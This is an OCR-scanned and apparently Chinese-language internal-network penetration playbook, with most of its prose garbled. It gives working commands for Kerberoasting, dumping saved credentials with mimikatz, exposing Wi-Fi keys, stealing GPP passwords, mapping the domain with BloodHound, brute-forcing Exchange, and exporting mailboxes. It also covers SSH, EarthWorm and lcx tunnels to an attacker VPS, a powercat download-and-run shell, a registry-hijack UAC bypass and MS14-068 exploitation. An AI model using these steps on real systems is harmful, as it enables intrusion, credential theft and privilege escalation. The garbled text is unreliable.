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1.1, SPN

SPN: BRSZEAREBR. fEFEKerberos/MulRSEFEMSPN, FEUMATLATEAMFPEAMESPN, HRESHAMNFIEMAIRS, SPNEARATLIME R OB REERUE. EEFA
TEAA: setspn. GetUserSPNs.vbsflRubeus,

a. #IAWindowsBEiIsetspnIT B, Hi@idAFIRHNITEIA:

| setspn —-T domain.com —Q */%

‘C:\Users\min7user.JUMBOLﬂB.BBB\Desktnp>setspn =T jumbolabh.com —-Q /%
IETE? ) DC=jumbolab,.DC=com E
CN=DCSERUER.OU=Domain Controllers . DC=jumbolab,.DC=com
Df sr—12F?A27C-BF?7-4787-9364-D31B6C55EBB4 /DCEerver. jumbholabh.com
ldap/DCServer. jumbolab.com/ForestDnsZones. jumbolab.com
ldap-/DCServer.jumbolabh.comsDomainDnsZones . jumbolabh.com
DNS/DCServer. jumholab.com
GC/DCServer.jumbolab.com/jumbo lab.com
RestrictedKrbHost/DCServer.jumbholab.com
RestrictedKrbHost DCSERVER
RPC/f2aab5@h—e@?77-4f 72—-a564-fB8afd533971 . _msdes . jumbolab.com
HOST DCSERVER./JUMBOLAB
HOST /DCServer. jumbolabh.com/JUMBOLAB
HOST . DCSERUVER
HOST/DCServer. jumbolab.com
HOST /DCServer. jumbolab.com/jumbolab.com
E3514235-4BA6—11D1-ABA4-BACA4FC2DCD2 /f2aah5@h—eB?7-4f 72—-a564—f@8af d53397
1/jumbolab.com
ldap/DCSERVER/JUMBOLAB
ldap-f2aab5@h—eB?7-4f?2-a564-fA8afd533971 . _msdcs. jumbolab.com
ldap/DCServer. jumbolabh.comn/JUMBOLAB
ldap/DCSERVER
ldap-DCServer. jumbolabh.com
ldap/DCServer. jumbo lab.coms jumbo lab.com
CN=krbtgt .CH=Users,DC=jumbo lab.DC=com
kadmin/changepu
CN=WIN?.,CN=Computers.DC=jumbolab,DC=com
TERMSRUAUIN?
TERMSRU/win?. jumholab.com
USMANAYWIN?
WSMAN/YWIN?. jumbo lab.com >

£ LR E R LUEHAIEZIDCServertlag LizfT T dnsiRSS. MIRMAFEmMssql, FIASPNIFEBAILSEIHANNER.

b. FIFGetUserSPNs.vbstBaJLAIREYspnZEE:



C:\UserswinZuser.JUMBOLAB.B8@“Desktoprcscript GetUserSPNs.vbs
H%crqquft (R> Windows Script Host Uersion S.EI e
A3 PR (C> Microsoft Corporation 1996-2001. {RESRREIVF).

CN=krbtgt ,CN=Users.DC=jumbolab,.DC=com
User Logon: krbhtgt
—— kadmin/changepw

CHN=krbtgt ,CHN=Users,.DC=child,.DC=jumbolab,DC=comn
User Logon: krbhtgt
—— kadmin/changepw

CHN=test,CN=Users.DC=jumbolah,.DC=com
User Logon: test
—— test/test

c. RubeusTEEHarmjoyF&BFlifKerberostFIEIH,
AN TFEFIERubeusEEWRLIHAFEM TSPN, thAREKerberoastingfiEs



|C:\Users\uin?user.JUHBOLHB.BE@\DBSktDp}Ruheus.exe kerberoast

Action: Kerberoasting

NOTICE: AES hashes will bhe returned for AES—-enabled accounts.
Use -ticket:® or stgtdeleg to force RC4_HMAC for these accounts.

Searching the current domain for Kerberoastable users

Total kerberoastable users : 1

[#] SamAccountMame : test

[#] DistinguishedMame : CN=test.CN=Users.DC=jumbolahb,.DC=com

[+*]1 ServicePrincipalName I test/test

[+#] PudLastSet - 2020/6-9 13:24:38

[#] Supported ETypes : RC4_HMAC_DEFAULT

[+%]1 Hash : SkrbS5tgs5235=testSjumbolab.combtest test*54D2CAC219

9CAASDE42FB1C55374F30A8157714A
28087A7F8C496B?14E1AD?32EC18C3F498A?B545EBRBCS5 9899 BF

B43C2ED6 7?6 FCCDBE212CFBAB3A?D1
E726F76E252E281D8BEC1D77?BCEF1AS?1A?AF?B?A7?26B58DASA

E78CABBYDFCOBF294642E7DDC?EDD
B376BC?1A1A4B83F3A2BA5C3E6B?BS5E?S1C5262B77292A3B9D2

6A72CC34CDE4AD5CY733025AAB9FFF

i WPES:

FHAnetstat -anofip SRR BEER, RIBEENRO. ipILIKRENTERS. IRBEEEREARE, WILEREZIBRI/ E2. SERNPCKRIRIP. AKitBweb i HixmM
HER, MRESEEREHRE, NoLEKERIBRRDO (redis, mysql. mssql) . APigOFHEA.,

1.3, BEEXH

— P EENWebNASEBNNIHEEFEKSEBER, 2— 1M FEHNER.
LR T < SHESEBFRAIN G




cd /web

findstr /s /m "password" *.*

THEEBANABRRARERE:

a,

Tomcat:

CATALINA HOME/conf/tomcat-users.xml

b‘

Apache:

/etc/httpd/conf/httpd.conf

c.

Nginx:

/etc/nginx/nginx.conf

d.

Wdcp:

/www/wdlinux/wdcp/conf/mrpw.conf

e.

Mysql:

mysql\data\mysql\user.MYD

1.4. APER

JUEMAKERFSHER, MENRAFAMENMTNKE, SEEMEEE, WiEERERE.

a. EEHAR, SEHARNRET:

|net user /domain




\Uﬁerﬂ\ inuser.JUMBOLAB. EBB\D sktop>net user Adomain
‘ ' Tt jumbolab.com Y%

winfuser

EEREER:

| net group "domain admins" /domain

C: \Uaerﬁ\u1n?uder JUMBOLAB. BEB\DE9ktup}net group "domain admins" /domain
+tti Jjumbolab.com Eji%ﬁzﬁﬂ :

Domaln Flclmln.,

RiEENIRIZip, —BRRdns,. BIERSES:

| net time /domain

C:\Users\l.-:in'?user.JUHBOLI?IB,BIB@\Dgzsktup)nBt time /domain
\\DCServer.jumbolab.com H)ZE[AT[A]Z 2020.5.16 23:27:09

C: serswinZuser . JUMBOLAB. A8 \Desktop>ping dcserver

\F7f Ping DCSERUER.jumbholab. con [172.16.127.173] BE 32 FHE
3 172.16.127.173 B)OE: FH=32 B}[8)<ims TTL=128




Intel{R> PRO-1888 MT HNetwork Connection
#p-BCc-29-C7-D1-98

TE

fe8@: :4836 ze1hf : 1633 :8d06x11 < F i
172.16.127.184¢E 7>

255.255.255.0

172.16.127.2

234884137

DHCPvb IAID
= #8-81-86—-91-22-D1-DA-AB-B0-BC-29-C7-D1-8E|

H 1?2 16.127.173

|ns|ookup type all ldap. tcp. dc mstSJumboIab com

C:NserswinZuser . JUMBOLAB.BBADesktop’ns lookup —type=all _ldap._tcp.dc._msdcs.j

umholab com
£:  UnKnown

HddPess: 172.16.127.173

_ldap._tcp.de._msdes . jumbolab.com SRU service location:
priority =8A
weight = 188
port = 389
sur hostname = decserver.jumbolab.com
decserver. jumbolab.com internet address = 172.16.127.173

d. SEHEHEE

| net group "domaincontrollers" /domain

\uln?uﬂer JUMBOLAB. BBE\Deyktup>net group "domain controllers' domain
&i o jumbolab.com EL\i—HITL'F”_"‘ I

Domain Controllers

1t




1.5. AMENLZR

A LAERIN T ap S RIAZI AR ETBIAIL.

a. EEH=EH:

net view

b, EFarp¥:

arp -a

c. BFhostsXf4:

linux:

cat /etc/hosts

windows:

type c\Windows\system32\drivers\etc\hosts

d. E&dnsER=E:

ipconfig /displaydns




C:NUsers winZuser . JUMBOLAB.BBA\Desktop>ipconfig Adisplaydns

Windows 1P FiE

_ldap._tcp.pdc._msdes.jumbolab.com

: _ldap._tep.pde._msdes . jumbolab.com
: 33

: 489

s 16

: dcserver.jumbolab.com
a
180
389

: dcserver.jumbolab.com
= 1
: 489

4
. . . . e . . .. EAM
n <EE$l)iﬂ§% .. = 172.16.127.173

e. HA, FIA—LTHWMALL, tbilnmap. nbtscan:

C:\Users™winuser.JUMBOLAB.BBB\Desktop>nbtscan.exe 172.16.127.173/24
172.16.127.1 “JUMBOWU-MBA

172.16.127.173 JUMBOLAB~DCSERVER SHARING DC
172.16.127.184 JUMBOLABSWIN?Y SHARING
*timeout ¢normal end of scan?

1.6, REE

EMAKESE, WEEERERIMPES. VSRKEERT, XENEHIETRSBMRS.

BJLAUERINetSessionEnum apiskEEE N EBEMLAER,
apifERN BT
https://docs.microsoft.com/en-us/windows/win32/api/Imshare/nf-Imshare-netsessionenum

FFEpowershellfiZ&xPowerView A4,



a. FLAEEHAPEFRI ML S:

PS C:\Users'winZuser\Desktop?> Import—Module .“PowerUiew.psl
PS C:\UserswinZuser\Desktop?> Invoke-UserHunter -UserName "winZuser"

UserDomain : JUMBOLAB

UserName : winZuser
ComputerName : WIN?.jumbolab.com
IPAddress : 172.16.127.184
SessionFrom

[SessionFromName =

LocalAdmin

b, tBEIAEENREMLERRERE :

PS C:\UserswinVuser.JUMBOLAB.BBBDesktop?> Get—NetSession —ComputerName dcserver|

esil@_cname DONM72.16.127.184
esilB_username : win7user
es ilﬂ _time : A
_idle_time : @
ComputerName : dcserver

o
5
o
S

HMTHR, api¥il. Z87 LAGERE, MULGANINSEREEREFENVIRETRE, RERETXUYE, RUUBHENINRESREIE,

q ]

1.7. SRS

ET—6#E FERTENKESE. UTE2NNERRGREZEREMRIBLE, JUMRERZEBREARTFHIKSERD

EbanimigiE R

cmdkey/list

navicat:

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name>




MariaDB

HKEY CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name>

MongoDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name>

Microsoft SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name>

Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name>
SQlite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name>
SecureCRT:

xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions

win7/win2008LA £

C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions

Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
WinSCP:

HKCU\Software\Martin Prikry\WinSCP 2\Sessions

VNC:

RealVNC HKEY LOCAL MACHINE\SOFTWARE\RealVNC\vncserver Password

TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly
TigerVNC HKEY LOCAL _USER\Software\TigerVNC\WinVNC4 Password

UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd?2

1.8, DPAPI




DPAPI, HEKMWindows 2000F 4%, FRJ/9Data ProtectionApplication Programming Interface (DPAPI) . Eo5IRME T INZRECryptProtectData SEZEEREL
CryptUnprotectData .

HIFREEREERRT:

outlookZE P imZ1g

windowscredential’EiE

chromefRFHIEB R

internetexplorerZmB&ERE

DPAPIRFBRINIZERE ANIFRING, FHERRNANEIRZ J9Master Key Files, HIZZ—#79%APPDATA%\Microsoft\Protect\{SID}\{GUID}, HF{SID}IAFHNZEIRR
F, {GUIDYAEFREBIR. BINTLUFAAFHNER/hasheliSHZEMREEEHE, REEEHdpapiilZENEEE.

HBXRAINENT:

https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

EsEF, aTLARIAmimikatz{E Bl CRIEIRER

a. fAZChromeZ§3:

mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

b. & Credential:

mimikatz vault::cred /patch

1.9, HE(SE

EEXRBERTESEHIENGFR, S— M MESEMEEY TEEXRRE, 2MEZEAMETLUZFEREHTERE, BLBMNOEXHIITINFRERR, EARNEZESE
HNERRIHES5ERE,

BEEEEE:

nltest /domain_trusts




s 'L"—.:
B: CHILD child. jumbolab.com ¢(NT 5> <(Forest: 1> (Direct Outbhound> (Direct Inb

ound> ¢ Attr: Bx280 >
1: JUMBOLAB jumbolabh.com <NT 5> {(Forest Tree Root> (Primary Domain)> {Native)>

EIRERERchild.jumbolab.comfljumbolab.comf@ Mg 2 X E{E1ERY.
1.10, Iaf&ix

LFEEEXRREN, TLERBHEBTCR. SETHEMCRE, BRESMMNEREAE—SINA, tilwwwiEiThipRaggfEdmzX, mail@ilipRAJ s O KIEEFE,

windows:

nslookup -type=ns domain.com
nslookup
sserver dns.domain.com

Is domain.com

linux:

dig @dns.domain.com axfr domain.com

1.11, DNSICFRIRE

EMAWEINSIER, TLAREEMN—LLHEE. Mih, EAAIEBDnscmd, PowerView,

a. fEwindows serverk, TILA{ERADnscmd TEKEdnsicR.

RENdnsiER:

Dnscmd. /ZonePrint jumbolab.com



ForestDnsZones [ 1:36T4942] 600 A 172.16.127.181
: :3676694] 600 A 172.16.127.173

_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones [ :3676694] 600 SRU
0 100 389 dcserver. jumbolab.com.
[#1):3674942] 600 SRU 0 100 389 win-T726qppchabgq.child.jumbolab

.cof.
_ldap._tcp.ForestDnsZones [} :3674942] 600 SRU 0 100 389 win-T726qppchab
q.child. jumbolab.com.
[#1l:3676694] 600 SRU 0 100 389 dcserver.jumbolab.com.
spntest [Z1{l:3676330] 600 A 172.16.127.1
winl0 [F{}:3676693] 1200 A 172.16.127.180

win? [Z{k:3673522] 1200 A 172.16.127.184

DRI X : 53 M a0 30 Kidxk, KA o

C:\Users\Administrator\Desktop>Dnscmd . /ZonePrint jumbolab.com

Dnscmd. /EnumRecords jumbolab.com .

C:\Users\Administrator\Desktop>Dnscmd . /EnumRecords jumbolab.com .

[E1{l:3676694] 600 A 172.16.127.173
3600 NS deserver. jumbolab.com.
3600 3S0A dcserver . jumbolab.com. hostmaster.jumbolab.com.

900 600 86400 3600

3600 A 172.16.127.173
,:3676330] 600 A 172.16.127.1
3676693] 1200 A 172.16.127.180
:3673522] 1200 A 172.16.127.184

b, fE3Ewindows servertlgE L, TILAERAPowerView3kEY,

import-module PowerView.ps1

Get-DNSRecord -ZoneName jumbolab.com




: deserver

istinguishedname : DC:=dcserver,DC=jumbolab.com,CN=MicrosoftDNS,DC=DomainDnsZon
es,DC=jumbolab,DC=com

: {4, 0,1, 0...)

: 2020/1/28 10:30:54

: 2020/6/8 15:08:37

: jumbolab.com

: A

: 278

: 3600

: 0

: [static]

: 172.16.127.173

: DomainDnsZones

: DC=DomainDnsZones,DC= jumbolab.com,CN=MicrosoftDNS,DC=Domain
DnsZones,DC= jumbolab,DC=com

: {4, 0,1, 0...}

: 2020/1/28 10:30:54

: 2020/1/28 10:30:54

: jumbolab.com

1.12, WIFI

BN T e SIRBUERITRIwifiZErg :

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

1.13. GPP

L RERBE, REFHRISYSVOLERTEM—NgppEERXMIX M, MNREREARKITEANTER, WEFSKFENEZEINKSED, XLEEH, FEHEE
HrpxmIpZ B RaesiiZR, BRERMIRATT:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fad5dd4be?redirectedfrom=MSDN

U=}

B LAEFRXM A TS, .
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1




1.14, Seatbelt

AMSIProviders
AntiVirus

AppLocker

ARPTable
AuditPolicies
AuditPolicyRegistry
AutoRuns
ChromeBookmarks
ChromeHistory
ChromePresence
CloudCredentials
CredEnum

CredGuard

dir

DNSCache

DotNet
DpapiMasterKeys
EnvironmentPath
EnvironmentVariables
ExplicitLogonEvents
ExplorerMRUs
ExplorerRunCommands
FileInfo
FirefoxHistory
FirefoxPresence
IdleTime
IEFavorites

IETabs

IEUrls
InstalledProducts
InterestingFiles
InterestingProcesses
InternetSettings
LAPS

LastShutdown
LocalGPOs
LocalGroups
LocalUsers

LogonEvents
I nnanSeccinns

BRFPERNAEERRBSFERRM:
\\domain\Netlogon

A LAF|HSeatbet TEM—ELBHERIE, KWENEEREZ, BiERRFgoogle[fHIER. BRESE:

Available commands (+ means remote usage is supported):

Providers registered for AMSI

Registered antivirus (via WMI)

AppLocker settings, if installed

Lists the current ARP table and adapter information (equivalent to ar
Enumerates classic and advanced audit policy settings

Audit settings via the registry

Auto run executables/scripts/programs

Parses any found Chrome bookmark files

Parses any found Chrome history files

Checks if interesting Google Chrome files exist

AWS/Google/Azure cloud credential files

Enumerates the current user's saved credentials using CredEnumerate()
CredentialGuard configuration

Lists files/folders. By default, lists users' downloads, documents, a
DNS cache entries (via WMI)

DotNet versions

List DPAPI master keys

Current environment %PATH$ folders and SDDL information

Current user environment variables

Explicit Logon events (Event ID 4648) from the security event log. De
Explorer most recently used files (last 7 days, argument == last X da
Recent Explorer “run" commands

Information about a file (version information, timestamps, basic PE i
Parses any found FireFox history files

Checks if interesting Firefox files exist

Returns the number of seconds since the current user's last input.
Internet Explorer favorites

Open Internet Explorer tabs

Internet Explorer typed URLs (last 7 days, argument == last X days)
Installed products via the registry

"Interesting" files matching various patterns in the user's folder. N
"Interesting" processes - defensive products and admin tools

Internet settings including proxy configs

LAPS settings, if installed

Returns the DateTime of the last system shutdown (via the registry).
Local Group Policy settings applied to the machine/local users
Mon-empty local groups, "-full" displays all groups (argument == comp
Local users, whether they're active/disabled, and pwd last set (argum
Logon events (Event ID 4624) from the security event log. Default of

Windnwe lnann seccinne



HB T chromefyiBE)HER, FMATLAREZRFIBEN—LRELLRENES/IP, TLURSAMEF~aIEZREE.

1.15, Bloodhound

AT LAFIABloodhound—LBEmERIEEKE, BFERAF. HEL.

£ RENEE, REFEH.
HiT:

4a47

=/ \

2Rty RRNIERES, BEEmCEEK

==X 514

==

ZimRMBENCERIER, SERMIRE L

SharpHound.exe -c all

SR — N ZipEGER, BFEIUTF20200526201154 BloodHound,

Nl et ==
BT+ =
=

~

ABloodhound/Sa] LA BRI 547

= st A W T

>

Database Info Node Info Queries
Database Info

DB Address bolt://localhost:.7687
DB User neodj
Users 396
Computers 596
Groups 75

Sessions
ACLs 7,751
Relationships 10,537

Refresh DB Stats

Warm Up Database

!

LR ERNMES HNEEENRRERT !




|

=  Start Node A K

Target Node >

Database Info Node Info Queries

Pre-Built Analytics Queries

Find Shortest Paths to Domain Admins

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

el - - o ol O oo o A N _ . /st 1o

TE, EANFME, MREThandAFE, FETLERENENIFIER



._ MemberOf

HAND@'I‘- K. i Meﬂwm
GplLink Contains
’ ---------------- & MEmherof

.‘ ------- GpLink
-------- Contains
GLiNK | = ’e:
',.. ----------
'_ Gplink Contai
--------------- -e—
a Contains g Contains

Contains
a W
W’_;

| Contains
& AdminTo
Vnm-"‘&/_:

' HasSession . AdminTa

1.16, Exchange

exchange—REFEFHAIZOMIE £, BIFEELEAHERSSE L, BRRINEESSKiFexchangelIiBXxRE, MRETexchangetlgs, NEFHEHERETT.

1.16.1 HBFE FA P EETD IR
{FAruler TEfFowaiZ O#HTIEM

J/ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt

rulerTES B Rowad LUEKAYEO, 0:

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml



HittglewsZ O thF R RS MR BAIXG :

https://mail.targetdomain.com/ews

1.16.2 B RULE
RN — P ERFENK S 2105, STLAEAMailSniperii&EBA R, Y2FBRARE, TUBXH A LABRFRHEERAEEE, BRICE, BRAMAEKRS, RETSEmREAR

B

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

1.16.3 (ERINE
SHAIE TexchangelkSaE, TUM—EEEKE, BERFRTAF. @B,
SREXFTEHRFE R -

Get-Mailbox

SR

New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst")

wALBiEwebOSH, ER:
https://mail.domain.com/ecp/

SHESBCR, BNTHSTLUES:

Get-MailboxExportRequest

MRENSHIER:

Remove-MailboxExportRequest -ldentity 'username\mailboxexport' -Confirm:$false




/0 2T

EHERNER, NTHEE—SAN
&, BEERZRIIR.

BE, —RESEM—NE

BT LAABLAT a5 < #U R
ping icmp
curl http
nslookup dns
2.2, netsh

netsh2windowsBwRIA<S, ATLIRIHESITENIINSEE. BILUKERMiROEL.
AFBERITA T <

netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp

BH&R 3] ANLERAY55555w 0, BP2192.168.1.1493389%i%

2.3, ssh

ssh—RIWEFRERIinux#ileg, BAILAZRMAENEL.

a. FRBsocks{tiE:
ssh -qTfnN -D 1111root@1.1.1.1




BIANT.11HEREE, AR AproxychainsER AT BIEEARIAI1115mORIsockSIERZBIATCIET. 1. 1. 1M,

b, {=HIA. Bz, ABESZIGEB, BRELLM, BEESSIGC, (BREEHM, AREEHRC:
AEEHAT :

ssh -CNfg -L 2121:CIP:21 root@BIP

H\BIPHZ8E13, WAAA21215%OBIRAECIPAI21i%0.

c. {EHIAHEE, ABEIBIHIRIB:

AHLERHAT:

ssh -CNfg -R 2121:BIP:21 root@hackervps

MABRVpsEG, JHEEEvpsi21215OBIRIHEBIPAI2 i,

2.4, reGeorg

reGeorg@—mAFHRAIsocksNERER 4, BILABRR U ERAHMETS, ERAhttpAEHARN,

RIEMSIFRIES, BENAtunnel xxERIIRS2E L, HAtunnel.xxEB7= "Georg says, 'All seems fine'” , AR A0k,
RHE1T:

pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx
FFproxychainsZ ) T BiEiEAbAg9999i# I AYsock 5iEERIaIAIR1.1.1. 1R 4,

2.5, EarthWorm

EarthWormZ2—FATFESOCKS voREBIRFHNIT R, EFiRECHL, FREHZFEERENEEEN, ATERNEBRE THHEELR.

a. ZEENRBINMipHITEREHT:

BewfEEIXH RS L, HiT:
.Jew -s ssocksd -1 8888



MEARMFFBproxychainsZFEZ U T BiEZEA RIS 5 IR 28AY8888im M AYsock 5iEZ BRI IRXT S BIM 48,

b, {=HIAHZE, ABEISIHEB, EIAIGEB:

HHCCIMNNIRSES LT
.Jew -s rcsocks -1 1080 -e 8888
XI5 RSB HAIT:

.Jew -s rssocks -d yourvpsip -e 8888
FIAproxychains&2{U T A rNEIT ERERIIMRVPsHI1080 ikOMIsocks5, BIAIREZEERSIRMIIMNLE.

c. {=HIA, BHlER, ABESZIGB, BEESZIGC, ABIMNMipHAIRELR, BIAREMABHRERRC:
BHL=RHAT:

.Jew -s ssocksd -1 9999

AHLER:

.Jew -s lcx_tran -1 1080 -f BIP -g 9999

FlFproxychains& 2 T ErNEISIEREAN 1080 ik ORYsocks5, BIAI{IEBIRSS EEAIMILE.

d. ZHIA,. BHlEE, AmES3iAEB, BRESSIGMIC, ARBIMNip, EBZAEERECHIMNMvpsKERMBRIKEILMC:

BHCvpsHiT:

Jew -s lcx_listen -1 1080 -e 8888
BHL=RHAT

.Jew -s ssocksd -1 9999

A ERHAT :

.Jew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999
FFAproxychains& {0 T Bal@idiER(RE SHvpsh1080 i OMsocks5, BIET{XIEBIRSS SBAIMILK,

2.6, Icx



lex 22— ERIRA%RTE,

a. RA¥%ELR

ARV PSH B IS :

Icx.exe -listen 1111 2222

ZEEVSEIT:

Icx.exe -slave VPSip 1111 127.0.0.1 3389

EEFEINR VP SHLRR02222im [ B 22 £ & 1125093389,

b, IER%

AEEHAT:

lcx.exe -tran 1111 2.2.2.2 8080

TAEAEERY 111 1R O BPRE1R12.2.2.2/98080i% M,

2.7, powercat

powercat@—mpshnc, BTLARHEHNIT, WALUTE FEHAT, TERTHSUT:

powershell"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-
| -p 8000 -e cmd"”

REEERR TSR, NREFZGSKEE, TJLUNEHEITR.

2.8, mssql

L BB RFAFBmssqlid, FABITLARIEmssqliTclriERERIEE,
INBUT



INTERNET DMZ MAIN NETWORK

P —————— — % —_— N
3 —
— = = s
MSSQLO1
AREWALL

T

ALLOW 1433 TO MSsQLO1
DENY ALL

TEmEHbE:

https://github.com/blackarrowsec/mssqlproxy

/ﬂ SlH

BABAZadministratorfifR, AHABLHSHITAT? ZEE—NEBRIHAFIIRE, NEUEREEMRIR? #EETE.

3.1, UAC

UAC, BIBFRKFZES, HREEENAFEENNAEFERERIXEASRMAFS RN, LATBWEIEEEEFRARFNNR. ERFE LEMERREUTXE:



- Windows g IEER

SIUFH A & Microsoft Windows

BREZFAER

BBan{a Sk bypass uaclIGEE. FAITUK—ELUSIIRETN, ERHRBuaciEmlEiE, ABFIFAProcessMonitorSkZaERiIERELRINdI. FMREE, ABRRIIF
NS R AYEIAEIbypass uacHIRER.
B RIETHHEBR—RE N TinE:

eventvwr.exe

FAfilwin10LAComputerDefaults.exefEsbypassZfil, ComputerDefaults.exeiHFEEIRASIE MuaclicE (RERWEHTHASEIMITEHuacizEE) |

@ ComputerDefaults.exe



AR FProcessMonitor Xz 2RI T A — ST :
FSHHKCU\Software\Classes\ms-settings\Shel\Open\Command i}z, RELKMBEAFFE, BIHHKCR\ms-settings\Shel\Open\Command\DelegateExecute

3... BD LUNpULETURLY, . 1190 BB, REEWUSTY VELUE ALK IS=SE LLLIES |38 1L \UPEI VAL LI VAL LUNMUUEL NAME UL FUUAD Leng
3... [ ComputerDefa. .. 7140 RegQuers HKCR\ms—settings\Shell\Open SUCCESS Querx
3... I ComputerDefa... 7140 @ RegQuer MRS Se T ST Fropem TrCESS Quex
3. ComputerDefa. . 7140 @ RegOpenKey H'KC'T ASoftware\Classes\ms— set ings\ShellOpen'command NAME_NOT_FOUND I Desi
3... g ComputerDefa. .. 7140 RegQueryKey 5 SUCCESS Quex
3... [ ComputerDefa. . 7140 RegOpenKey t \ '.Eﬁnmar,d SUCCESS Desi
3., rol ComputerDefa. . 7140 RegQueryKey KCR\ 5 '- ommand SUCCESS Quer
3... @ terDefa. . . 7140 RegQueryKey and SUCCESS Querx
3. 7140 RegOpenKey sh\ms-se Shell)\Open'\Command NAME NOT FOUND Desi
3. 7140 @1 RegQueryValue \Shell\Open I\DelegateExecute BUFFER OVERFLOW  Leng
3... [ ComputerDefa. .. 7140 # RegClos: y s-settings'Shell'Open' i SUCCESS

3... [ ComputerDefa. .. 7140 Y ‘\ms-settings\Shell\Open SUCCESS Quer
3... [ ComputerDefa... 7140 18 ‘Shell \Open SUCCESS Quer
3... [ ComputerDefa. . 7140 ms-settings‘\Shell\Open NAME NOT FOUND Desi
3... [ ComputerDefa. .. 7140 bhell Open‘MultiSelectModel NAME NOT FOUND Leng
3... [ ComputerDefa. .. 7140 Shell\Open SUCCESS Quer
3... [ ComputerDefa. . 7140 Shell\Open SUCCES3 Quex
3... i ComputerDefa. .. 7140 ey \ re\Classes‘ms—settings\Shell\Open NAME NOT FOUND Desi
3. ©h ComnuterDefa. . 7140 ReeQuervValie \ms—settinegs\Shel I\Onen\Teon NAME NOT FOIND Lene

FELMERAMEK hkcuiEMERS, TfTComputerDefaults.exeft&8E|—bypass uac/Ficmd:

T, HEHHKCU\Software\Classes\ FHIE{ERS, KFEZEHHKCRTEAIRIE.

3.2, ms14-068

TRAATLVERE— M BRI RREY, KEEEAUR, HIKEEEETRRR, WA TSHkb3011780, FTENETRAMAE, 5k— KerberoshiliiizE



AEURAEWN T :

. BRAPER, mKDCHASIRS AR SEEINEAIR BB TTUAL;

2. EHIEMASIRSIERAFNEBEEER, WEBEE, RELHAF—KTGTER, ZERAkrbtgtZBINETK,;

3. WMABFEETGTRKDCRITGSIRSSHRiBEIIAApplication ServerfIZESz

4, HIEMTGSIRSWILTGTIERILE, REIGKIHAF s HBApplication ServerfdZE#E, BIST, STLLApplication ServerfUIRSEZMKEZRIINZS;
5

6

—_

. WMEBREESTIHRXIRAYApplication Server;
. Application Server3GIEST, REMKIISAE.

TEEIRmMs14-068H SRR :

TGTHEABFPEILE, 887THFE. BFRid. MBESER, BIPAC, BRAH, PACHERIEAFMAENRINSNEEIES.

EIAPACEBASETGTHM, MHIMmMs14-068XMAMMREET AP ERETGTHAIUERKDGREMTGTAEAPAC (include-PACHfalse) , SABRAFESHIEPACHHIA
TGS_REQHIEBHAIREQ_BODYH, KDCEMEEPACHMEZR—MRNTGTH (EEMIZRE—NST) FRESHAF, XN TCTEETATRMNMIERNEENPAC, FHMELE
HhkerberositiZ 7,

FAFE:

python ms14-068.py -u <userName>@ <domainName> -s <userSid> -d <domainControlerAddr>



mimikatz.exe "kerberos::ptc TGT user@domain.ccache" exit

el LAfEAgoldenPac.pyRixFIms14-068+psexeclIB L FIF:

goldenPac.py domain.com/username:password@dc.domain.com

/(] =W

BN EZA NS EF AT O -, —MEERBIREEENZ AR, EREDRERNBEE— I BERENEN. WRME—ENFNER, MEREEME, R
BEXNMZEMBEMERT., A TEENBEBMEAREN—LFR.

4.1, ntimhash#lnet-ntimhash
SEENB TR Imhashfintimhash,

EMNEEEIhashi<ixX#:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢0:::
AV HE LR

user:sid:Imhash:ntlmhash

ImhashB9INZ R T :

1. BRRKERSA14NFR

ERLERIRARE

BN 6HEIFRE, FER14FTRE
EBH1 6 BEHIF R B D AN 7byteEB

. Bo7bits—4E 8AHAKREMO, BAK—A

o A wWN
¢ ¢ 2



6. EXBERIN"AH, D5lfFkey & "KGS!@#$%" #H{TDESHIE.
7. BINERHNREFZEE—E, BRRELM HASHIE.

AT RRImhashi2EABRIBIRE, FEHES T ntimhash:

1. SSRRAFPERERAT/NEEIEI.

2. BHNHBIBINZELHRITUnicodesmis.

3. fEFAMDA43tUnicodefmib#iEiiTHashitE

REAEvistalgAB ¥ Imhash, EEMBIEhashFadImhash&#BREaad3b435b51404eeaad3b435b51404ee
